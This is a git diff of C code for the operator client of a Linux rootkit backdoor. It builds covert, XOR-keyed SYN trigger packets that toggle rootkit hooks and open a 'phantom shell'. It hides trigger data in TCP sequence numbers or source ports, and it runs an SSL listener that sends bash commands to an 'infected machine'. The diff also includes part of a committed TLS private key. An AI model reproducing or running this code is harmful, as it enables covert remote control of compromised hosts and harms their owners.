char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_2;
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
|
||||
//K3 with command to start the encrypted connection with the backdoor
|
||||
if(mode == 0){
|
||||
memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_DEACTIVATE_ALL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
}else{
|
||||
memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_ACTIVATE_ALL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
}
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key1[ii];
|
||||
}
|
||||
memcpy(payload+0x06, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key2[ii];
|
||||
}
|
||||
memcpy(payload+0x0A, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ section2[ii] ^ key3[ii];
|
||||
}
|
||||
|
||||
memcpy(payload+0x0C, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious payload
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
|
||||
return;
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Secret message successfully sent! No answer expected\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void phantom_shell_request(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
|
||||
//+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
|
||||
char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0};
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
//Follow protocol rules
|
||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_1;
|
||||
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_2;
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
|
||||
//K3 with command to start the command with the backdoor
|
||||
memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key1[ii];
|
||||
}
|
||||
memcpy(payload+0x06, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ key2[ii];
|
||||
}
|
||||
memcpy(payload+0x0A, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = section[ii] ^ section2[ii] ^ key3[ii];
|
||||
}
|
||||
|
||||
memcpy(payload+0x0C, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious payload
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
|
||||
return;
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
|
||||
}
|
||||
|
||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||
|
||||
//Wait for rootkit ACK to ensure it's up
|
||||
rawsocket_sniff_pattern(CC_PROT_PHANTOM_SHELL_INIT);
|
||||
printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n");
|
||||
|
||||
client_mode = CLIENT_MODE_PHANTOM_SHELL;
|
||||
//Received ACK, we proceed to send command
|
||||
int connection_terminate = 0;
|
||||
while(connection_terminate == 0){
|
||||
char buf[BUFSIZ];
|
||||
switch(client_mode){
|
||||
case CLIENT_MODE_LIVE_COMMAND:
|
||||
printf(">> client["""KMGN"phantom shell"RESET"""]>: ");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
|
||||
connection_terminate = phantom_shell_mode(buf, local_ip, argv);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
free(local_ip);
|
||||
}
|
||||
|
||||
//Rootkit backdoor V3 being used - Hive-like
|
||||
void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious packet stream...\n");
|
||||
|
||||
//Stream of 3 packets, 4 bytes on each if using sequence numbers for hiding the payload
|
||||
//OR stream of 6 packets, 2 bytes each
|
||||
//Decide depending on selected mode
|
||||
int PAYLOAD_LEN, PACKET_CAPACITY;
|
||||
if(mode == CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM){
|
||||
PAYLOAD_LEN = CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM;
|
||||
PACKET_CAPACITY = CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM;
|
||||
}else if(mode== CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT){
|
||||
PAYLOAD_LEN = CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT;
|
||||
PACKET_CAPACITY = CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT;
|
||||
}else{
|
||||
printf("["KRED"ERROR"RESET"]""An error occured with the selected mode of payload injection");
|
||||
return;
|
||||
}
|
||||
|
||||
stream_t stream = build_standard_packet_stream_empty_payload(PAYLOAD_LEN/PACKET_CAPACITY, 8500, 9000, local_ip, argv);
|
||||
char *payload = calloc(PAYLOAD_LEN, sizeof(char));
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
inet_pton(AF_INET, local_ip, (void*)(payload+0x01));
|
||||
uint16_t port = htons(8000);
|
||||
memcpy(payload+0x05, (char*)&port, 0x02);
|
||||
char result[0x03];
|
||||
char key[0x03] = CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL;
|
||||
for(int ii=0; ii<0x02; ii++){
|
||||
result[ii] = payload[0x05+ii] ^ key[ii];
|
||||
printf("R:%x, P5:%x, K3:%x\n", result[ii], payload[0x05+ii], key[ii]);
|
||||
}
|
||||
memcpy(payload+0x08, result, 0x02);
|
||||
char* payload_p = payload;
|
||||
uint16_t crc = crc16(payload_p, 10);
|
||||
memcpy(payload+0x0A, (char*)&crc, 0x02);
|
||||
printf("Payload before XOR: ");
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
printf("%x ", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
//Rolling xor
|
||||
for(int ii=1; ii<PAYLOAD_LEN; ii++){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
printf("Payload after XOR: ");
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
printf("%x ", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
//SYN packets
|
||||
for(int ii=0; ii<stream.stream_length; ii++){
|
||||
set_TCP_flags(*(stream.packet_stream+ii*(sizeof(packet_t))), 0x02);
|
||||
}
|
||||
//Injecting payload in the stream
|
||||
if(mode==CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM){
|
||||
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, PAYLOAD_LEN);
|
||||
}else if(mode==CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT){
|
||||
stream_inject(stream, TYPE_TCP_SRC_PORT, payload, PAYLOAD_LEN);
|
||||
}
|
||||
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious stream of packets with the hidden payload
|
||||
for(int ii=0; ii<stream.stream_length; ii++){
|
||||
if(rawsocket_send(*(stream.packet_stream+ii*(sizeof(packet_t))))<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured at packet %i/%i. Is the machine up?\n", ii+1, stream.stream_length);
|
||||
return;
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Packet %i/%i successfully sent!\n", ii+1, stream.stream_length);
|
||||
}
|
||||
}
|
||||
printf("["KGRN"OK"RESET"]""Packet stream successfully sent to the backdoor in completeness\n");
|
||||
|
||||
server_run(8500);
|
||||
}
|
||||
|
||||
|
||||
void main(int argc, char* argv[]){
|
||||
if(argc<2){
|
||||
@@ -204,7 +657,7 @@ void main(int argc, char* argv[]){
|
||||
char path_arg[512];
|
||||
|
||||
//Command line argument parsing
|
||||
while ((opt = getopt(argc, argv, ":S:c:h")) != -1) {
|
||||
while ((opt = getopt(argc, argv, ":S:c:e:u:a:p:s:h")) != -1) {
|
||||
switch (opt) {
|
||||
case 'S':
|
||||
print_welcome_message();
|
||||
@@ -227,6 +680,76 @@ void main(int argc, char* argv[]){
|
||||
activate_command_control_shell(dest_address);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 'e':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL encrypted shell\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
activate_command_control_shell_encrypted(dest_address);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 'u':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Deactivating all rootkit hooks\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
hook_control_command(dest_address, 0);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 'a':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Activating all rootkit hooks\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
hook_control_command(dest_address, 1);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 'p':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Requested a PHANTOM SHELL\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
phantom_shell_request(dest_address);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
case 's':
|
||||
print_welcome_message();
|
||||
sleep(1);
|
||||
//Send a secret message
|
||||
printf("["KBLU"INFO"RESET"]""Activating COMMAND & CONTROL with MULTI-PACKET backdoor trigger\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
char buf[BUFSIZ];
|
||||
int mode = -1;
|
||||
while(mode<0){
|
||||
printf(">> Where to hide the payload? Select a number: \n\t1. SEQNUM\n\t2. SRCPORT\nOption: ");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
if(strncmp(buf, "1", 6)==0){
|
||||
mode = CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM;
|
||||
}else if(strncmp(buf, "2", 7)==0){
|
||||
mode = CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT;
|
||||
}
|
||||
}
|
||||
|
||||
activate_command_control_shell_encrypted_multi_packet(dest_address, mode);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
/*case 'u':
|
||||
print_welcome_message();
|
||||
|
||||
Binary file not shown.
70
src/client/include/common.h
Normal file
70
src/client/include/common.h
Normal file
@@ -0,0 +1,70 @@
|
||||
#ifndef __CLIENT_COMMON_H
|
||||
#define __CLIENT_COMMON_H
|
||||
|
||||
#include "openssl/err.h"
|
||||
#include "openssl/ssl.h"
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <malloc.h>
|
||||
#include <netinet/in.h>
|
||||
#include <resolv.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
#include "../../common/c&c.h"
|
||||
|
||||
#define KGRN "\x1B[32m"
|
||||
#define KYLW "\x1B[33m"
|
||||
#define KBLU "\x1B[34m"
|
||||
#define KMGN "\x1B[35m"
|
||||
#define KRED "\x1B[31m"
|
||||
#define RESET "\x1B[0m"
|
||||
|
||||
#define CLIENT_MODE_LIVE_COMMAND 0
|
||||
#define CLIENT_MODE_PHANTOM_SHELL 0
|
||||
|
||||
//Global variable, specifying current client mode
|
||||
int client_mode = CLIENT_MODE_LIVE_COMMAND;
|
||||
|
||||
#define GC_SERVER_CLOSE_CONN "EXIT"
|
||||
|
||||
#define CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM 0
|
||||
#define CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT 1
|
||||
|
||||
|
||||
/**
|
||||
* @brief Manages the result of a possible global command understood by the client overall
|
||||
* (independent of the current mode) and returns 1 if it really was a global command
|
||||
* or 0 if it was not.
|
||||
*
|
||||
* @param buf
|
||||
* @return int
|
||||
*/
|
||||
int manage_global_command(char* buf, SSL* ssl, char* local_ip, char* dest){
|
||||
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
|
||||
if(ssl != NULL){
|
||||
//If in a ssl connection
|
||||
char* request = CC_PROT_FIN;
|
||||
SSL_write(ssl, request, strlen(request));
|
||||
//We must exit now
|
||||
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
|
||||
exit(0);
|
||||
}else{
|
||||
char* request = CC_PROT_FIN;
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
|
||||
return -1;
|
||||
}
|
||||
//We must exit now
|
||||
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
//Not a recognized global command
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
211
src/client/include/sslserver.h
Normal file
211
src/client/include/sslserver.h
Normal file
@@ -0,0 +1,211 @@
|
||||
// This code is based from the following tutorial:
|
||||
// https://aticleworld.com/ssl-server-client-using-openssl-in-c/
|
||||
|
||||
#include "openssl/err.h"
|
||||
#include "openssl/ssl.h"
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <malloc.h>
|
||||
#include <netinet/in.h>
|
||||
#include <resolv.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "../../common/c&c.h"
|
||||
#include "common.h"
|
||||
|
||||
#define FAIL -1
|
||||
|
||||
/**
|
||||
* @brief Operates input in command shell mode.
|
||||
* Returns whether the connection should keep open (0) or not (otherwise)
|
||||
*
|
||||
* @param buf
|
||||
* @param ssl
|
||||
* @return int
|
||||
*/
|
||||
int live_command_shell_mode(char* buf, SSL *ssl){
|
||||
int is_global_command = manage_global_command(buf, ssl, NULL, NULL);
|
||||
if(is_global_command == 1){
|
||||
//Already finished then, go to next command input
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Not a global command, proceeding to analyze in live command shell mode
|
||||
int bytes;
|
||||
char* request = calloc(4096, sizeof(char));
|
||||
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
|
||||
strcat(request, buf);
|
||||
SSL_write(ssl, request, strlen(request));
|
||||
|
||||
bytes = SSL_read(ssl, buf, BUFSIZ);
|
||||
buf[bytes] = '\0';
|
||||
//If valid message in protocol, we proceed to parse it
|
||||
if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
|
||||
if (bytes > 0) {
|
||||
//printf("Reply with:\n[%s]\n", response);
|
||||
char *p;
|
||||
p = strtok(buf, "#");
|
||||
p = strtok(NULL, "#");
|
||||
if(p){
|
||||
//Print response
|
||||
printf("%s\n", p);
|
||||
}else{
|
||||
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
|
||||
}
|
||||
|
||||
} else {
|
||||
ERR_print_errors_fp(stderr);
|
||||
}
|
||||
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
|
||||
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
|
||||
}else{
|
||||
//If at this point, then we failed to identify the backdoor message
|
||||
//We attempt to send a final message indicating we are halting the connection
|
||||
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
|
||||
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
|
||||
const char *response = CC_PROT_FIN;
|
||||
SSL_write(ssl, response, strlen(response));
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Connection should keep open
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int server_run(int port) {
|
||||
SSL_CTX *ctx;
|
||||
int server;
|
||||
const char *szPemPublic = "mycert.pem";
|
||||
const char *szPemPrivate = "mycert.pem";
|
||||
const SSL_METHOD *method;
|
||||
|
||||
if (port < 1024) {
|
||||
if (getuid() != 0) {
|
||||
printf("This program must be run as root/sudo user since your port # "
|
||||
"(%d) is < 1024\n",
|
||||
port);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
SSL_library_init(); /* Initialize the SSL library */
|
||||
|
||||
// InitServerCTX ();
|
||||
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
|
||||
SSL_load_error_strings(); /* load all error messages */
|
||||
method = TLSv1_2_server_method(); /* create new server-method instance */
|
||||
ctx = SSL_CTX_new(method); /* create new context from method */
|
||||
if (ctx == NULL) {
|
||||
ERR_print_errors_fp(stderr);
|
||||
abort();
|
||||
}
|
||||
|
||||
/* set the local certificate from CertFile */
|
||||
if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
|
||||
ERR_print_errors_fp(stderr);
|
||||
abort();
|
||||
}
|
||||
|
||||
/* set the private key from KeyFile (may be the same as CertFile) */
|
||||
if (SSL_CTX_use_PrivateKey_file(ctx, szPemPrivate, SSL_FILETYPE_PEM) <= 0) {
|
||||
ERR_print_errors_fp(stderr);
|
||||
abort();
|
||||
}
|
||||
|
||||
/* verify private key */
|
||||
if (!SSL_CTX_check_private_key(ctx)) {
|
||||
fprintf(stderr, "Private key does not match the public certificate\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
|
||||
server = socket(PF_INET, SOCK_STREAM, 0);
|
||||
bzero(&addr, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
perror("can't bind port");
|
||||
abort();
|
||||
}
|
||||
if (listen(server, 10) != 0) {
|
||||
perror("Can't configure listening port");
|
||||
abort();
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
SSL *ssl;
|
||||
|
||||
char buf[1024] = {0};
|
||||
int sd;
|
||||
|
||||
int client;
|
||||
printf("[" KBLU "INFO" RESET "]""Listening for connections\n");
|
||||
client = accept(server, (struct sockaddr *)&addr,
|
||||
&len); /* accept connection as usual */
|
||||
printf("[" KGRN "SUCCESS" RESET "]""Connection established: %s:%d\n", inet_ntoa(addr.sin_addr),
|
||||
ntohs(addr.sin_port));
|
||||
ssl = SSL_new(ctx); /* get new SSL state with context */
|
||||
SSL_set_fd(ssl, client); /* set connection socket to SSL state */
|
||||
|
||||
if (SSL_accept(ssl) == FAIL){ /* do SSL-protocol accept */
|
||||
ERR_print_errors_fp(stderr);
|
||||
} else {
|
||||
X509 *cert;
|
||||
char *line;
|
||||
|
||||
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
|
||||
if (cert != NULL) {
|
||||
printf("[" KBLU "INFO" RESET "]""Server certificates:\n");
|
||||
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
|
||||
printf("[" KBLU "INFO" RESET "]"
|
||||
"Subject: %s\n",
|
||||
line);
|
||||
free(line);
|
||||
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
|
||||
printf("[" KBLU "INFO" RESET "]""Issuer: %s\n",line);
|
||||
free(line);
|
||||
X509_free(cert);
|
||||
} else {
|
||||
printf("[" KYLW "WARN" RESET "]""Client has no certificate.\n");
|
||||
}
|
||||
|
||||
int connection_terminate = 0;
|
||||
printf("[" KBLU "INFO" RESET "]""Live command shell mode active by default\n");
|
||||
while(connection_terminate==0){
|
||||
char buf[BUFSIZ];
|
||||
//Depending on the mode, we show different UI and commands
|
||||
switch(client_mode){
|
||||
case CLIENT_MODE_LIVE_COMMAND:
|
||||
printf(">> client["""KYLW"command live"RESET"""]>: ");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
connection_terminate = live_command_shell_mode(buf, ssl);
|
||||
break;
|
||||
default:
|
||||
printf("Invalid client mode, fatal error, halting\n");
|
||||
exit(FAIL);
|
||||
}
|
||||
}
|
||||
}
|
||||
sd = SSL_get_fd(ssl); /* get socket connection */
|
||||
SSL_free(ssl); /* release SSL state */
|
||||
close(sd); /* close connection */
|
||||
}
|
||||
close(server); /* close server socket */
|
||||
|
||||
ERR_free_strings(); /* free memory from SSL_load_error_strings */
|
||||
EVP_cleanup(); /* free memory from OpenSSL_add_all_algorithms */
|
||||
SSL_CTX_free(ctx); /* release context */
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -3,7 +3,7 @@
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
//Packet_t structure
|
||||
//Packet_t and stream_t structures
|
||||
typedef struct packet_t{
|
||||
struct iphdr *ipheader;
|
||||
struct tcphdr *tcpheader;
|
||||
@@ -12,6 +12,17 @@ typedef struct packet_t{
|
||||
char* packet;
|
||||
}packet_t;
|
||||
|
||||
typedef struct stream_t{
|
||||
packet_t* packet_stream;
|
||||
int stream_length;
|
||||
}stream_t;
|
||||
|
||||
typedef enum{
|
||||
TYPE_TCP_SEQ_RAW,
|
||||
TYPE_TCP_ACK_RAW,
|
||||
TYPE_TCP_SRC_PORT
|
||||
}stream_inject_type_t;
|
||||
|
||||
//PacketForger headers
|
||||
packet_t build_standard_packet(
|
||||
u_int16_t source_port,
|
||||
@@ -22,10 +33,26 @@ packet_t build_standard_packet(
|
||||
char* payload
|
||||
);
|
||||
|
||||
stream_t build_standard_packet_stream_empty_payload(
|
||||
int stream_length,
|
||||
u_int16_t source_port,
|
||||
u_int16_t destination_port,
|
||||
const char* source_ip_address,
|
||||
const char* destination_ip_address
|
||||
);
|
||||
|
||||
stream_t stream_inject(stream_t stream, stream_inject_type_t type, char* payload, int payload_length);
|
||||
|
||||
int packet_destroy(packet_t packet);
|
||||
|
||||
void stream_destroy(stream_t stream);
|
||||
|
||||
int set_TCP_flags(packet_t packet, int hex_flags);
|
||||
|
||||
int set_TCP_seq_num(packet_t packet, u_int32_t bytes);
|
||||
|
||||
int set_TCP_src_port(packet_t packet, u_int16_t bytes);
|
||||
|
||||
//SocketManager headers
|
||||
int rawsocket_send(packet_t packet);
|
||||
|
||||
|
||||
Binary file not shown.
81
src/client/mycert.pem
Normal file
81
src/client/mycert.pem
Normal file
@@ -0,0 +1,81 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQCqRJQ+Fp9dchNe
|
||||
RjA3/e6ocuTGDdl9KAIl0hP3qQYXOikrJyY0IQ9Fr4HT/Z+hjM1/RFFzda+rIOIh
|
||||
6Fi9XQWmISgNkLII8e6/F2B8sgq5eJuKbP+Xa/JGbGiweDOa/S4UEm/Jmbm40Dtg
|
||||
r08GCAYrCi35j4OAHA7ATo9AvpSga5wkRsKcumLlnJZdFLzrXWcuabLyv6TVGrVY
|
||||
mJIPykZ+XTm0EoFD5T5Q49o1Qmh/B1IIeE/hP4R7LzoK4Kc5uElS6hUtLIHsHoK1
|
||||
L4zVAqP+yb3EK0Hlw+JgmdMLdulOHxX+hpxdqtTREuXwWvSxCqaN1MIKQLDiRX3Q
|
||||
ovn16anKDS8XnC9Dwa6IzdcgXZtlTNGE0ygbUHv4sLXF0JJJHUsVrQhBPOjMIu80
|
||||
IWSYKuuwf4Bnb7mfJyj+f6FanOGpfSQj06h4aWaiP8PUK38ivUGfF0gPDbK01Q/x
|
||||
qqcaVqheo5KE/YUVks3xSaTLMeK9vis3i5/PY+GLL644K1c++s8sSCFgOj9gDTLy
|
||||
4BWu9V2HkCtT2ZJGG64gvcLYz+5Y5g8FWyxMFsgQrQsPyPwEz0vf3ddpUvAur1zr
|
||||
35/fYwjdL7l0MsBySJDrVIdKtX0wx8g24oOFM0v5KZukCps6m77c2ma9JB031Roa
|
||||
wnoF40JTnGdO14xUTA9teTgXHDSiiQIDAQABAoICAQCVBWa1nLkoYSJAfa/QIaiS
|
||||
t9Qw34g9uRmAHoipVr7k71t+0EnokBK8y+oWL0FadFCbFaEwK41vel1Qjfm06sh5
|
||||
6UUT8lNP7uclSoGBQZaPU9bWZaWh0rF+H33VDa8k9HgyyxwZ1zisX1vIuEayoa08
|
||||
WDF63bebFXN3ropEgUi1ytkjCudjouHR0qXrm63pVZtsDMi5GzBZ74FOpGIZ/dCK
|
||||
4m8RgqyuTuKmi3W87X1lyHNsxFgtbZk281Oal5rksr1CG2wjWHPxw5Zkm9RnzmLY
|
||||
KZu0KKQJQ9NK9va2bwGtBRoL5abPeCfBQQgMwJ6uoQK62b5mmM33jBic1Tdumm6l
|
||||
4Yl2dWxzuSZ+SCXVrehjgMrU6bZKq3vtzxZJhzAZFcKfx7wLL0YV0ID9Du6dvwkt
|
||||
bUy5rUnFS4oKDrZGHUG4VLltCg8iL0rkMUwoujZ0OTNlNQQSpLQNpF0l3FiXxGlv
|
||||
6ifLjUYXZeJaCrxPO/Z6bWt+3ra5fkEZ0puJBIfzvdOSb6s27Py2Ywnh1XsxkAio
|
||||
F0sa/TwybJJGOzQPQy9IWLru6GVyOrW6VLIXZlDhgvrUpKlRMBycyrtGtqzKr/C7
|
||||
NvYd0Yt9t1KZfRRZsJRkcAuJLmkVhOsVA8kpttY+oitcuiJnM6XUI7PivZYLf/Fb
|
||||
